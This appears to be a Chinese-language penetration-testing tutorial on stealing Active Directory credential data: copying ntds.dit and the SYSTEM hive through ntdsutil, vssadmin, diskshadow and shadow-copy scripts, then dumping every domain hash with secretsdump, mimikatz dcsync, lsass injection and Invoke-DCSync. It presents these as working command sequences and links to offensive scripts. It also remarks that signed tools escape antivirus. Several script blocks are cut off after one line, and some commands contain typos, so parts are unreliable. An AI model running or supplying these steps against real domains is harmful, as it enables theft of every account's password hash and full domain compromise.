提取ntds.dit
使用ntdsutil 工具提取
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe可以维护和管理互动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPRome.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,可以通过域内机器在域控制器上远程操作。
ntdsutil.exe 支持的操作系统包括 Windows server 2003 ,Windows server 2008,Windows server 2012
使用方法如下
创建快照
该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的限制
ntdsutil snapshot "activate instance ntds" create quit quit
{}内为快照的GUID
挂载快照
ntdsutil snapshot "mount {GUID}" quit quit
拷贝快照
使用windows自带的copy命令将快照中的文件复制出来,将快照中的C:\$SNAP_202107122344_VOLUMEC$\windows\ntds\ntds.dit
复制到本地计算机的
C:\Users\Administrator\Desktop\
桌面上
copy C:\$SNAP_202107122344_VOLUMEC$\windows\ntds\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
卸载并删除快照
ntdsutil snapshot "unmout {GUID}" "delete {GUID}" quit quit
检查快照是否删除
ntdsutil snapshot "List All" quit quit
利用vssadmin提取ntds.dit
vssadmin
是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。
适用于 Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008
创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
将创建的卷影拷贝中的ntds.dit copy到桌面
copy \\?\CLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\User\Administrator\Desktop ntds.dit
删除创建的卷影拷贝
vssadmin delete shadows /for=c: /quiet
利用vssown.vbs 脚本提取nods.dit
下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
vssown.vbs功能与vssadmin类似,本质是通过wmi对shadowCopt进行操作,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务
1 | //启动卷影拷贝服务 |
使用ntdsutil中的IFM获取ntds.dit
将ntds.dit复制到C:\test\Active Directory\
文件夹中
使用管理员模式打开cmd输入如下
ntdsutil "ac i ntds" "ifm" "create full C:/test" q q
然后访问c盘 可以看到创建了一个test目录
test目录下有俩个文件 分别为 Active Directory
和
registry
registry
下包含 SYSTEM
和
SECURITY
Active Directory
下包含 ntds.dit
然后将以上内容复制到桌面
这里选择使用Copy-VSS.ps1
下载地址:https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
进入powershell
1 | Set-Executionpolicy bypass |
使用diskshadow导出ntds.dit
Diskshadow.exe
使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下,Diskshadow.exe使用了一种交互式的命令解释器,这里跟DiskRaid或者DiskPart比较类似。因为diskshadow的代码是由微软签名的,而且Windows Server2008、Windows Server2012、Windows Server2016都默认包含diskshadow
。所以,diskshadow也可以用来操作卷影拷贝服务并导出ntds.dit。diskshadow的功能与vshadow类似,且同样位于C:\windows\system32\
目录下.
由于是微软官方的工具,所以不会被杀
查看diskshadow.exe
的帮助信息
diskshdow /?
一般先在C盘写入需要执行的命令 存储为command.txt
echo "exec c:\windows\system32\calc.exe" >command.txt
但是这样生成的commod.txt会存在双引号 这样执行diskshadow命令的话 会无法正常执行,所以最好在执行diskshadow命令前先看下command.txt 是否正确
type c:\command.txt
diskshadow /s c:\command
然后会弹出之前写的calc
使用diskshadow.exe
导出ntds.dit
将命令写入文本文件中
1 | //设置卷影拷贝 |
然后使用diskshadow.exe
加载这个文本文件
diskshadow /s c:\2.txt
在执行这条命令时 要在system32下执行,否则可能会报错
导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息
可以使用Copy-VSS.ps1等方法导出SYSTEM文件,也可以执行如下命令,将导出system
reg save hklm\system C:\Users\Administrator\Desktop\system.hive
解析ntds.dit
使用impacket secretsdump解析ntds.dit
secretsdump.exe -system SYSTEM.hive -ntds ntds.dit LOCAL
然后可以看到所有用户的hash值
利用dcsync 获取域散列值
利用mimikatz在线导出hash
可以利用dcsync获取
1 | privilege::debug |
也可以导出指定用户的hash值
lsadump::dcsync /domain:mamor.com /user:Mamor
通过转储lsass.exe 进程对hash值进行dump
lsadump::lsa /inject
这样可以导出所有账户和域散列值
使用powershell Invoke-DCSync.ps1脚本
下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
该脚本可以利用dcsync 直接读取ntds.dit 以获得域账号和域散列值
1 | Import-Module .\Invoke-DCSync.ps1 |
Reference
https://pingmaoer.github.io/2020/07/03/%E5%9F%9F%E6%8E%A7%E5%88%B6%E5%99%A8/
https://www.freebuf.com/articles/network/251267.html
https://cloud.tencent.com/developer/article/1731472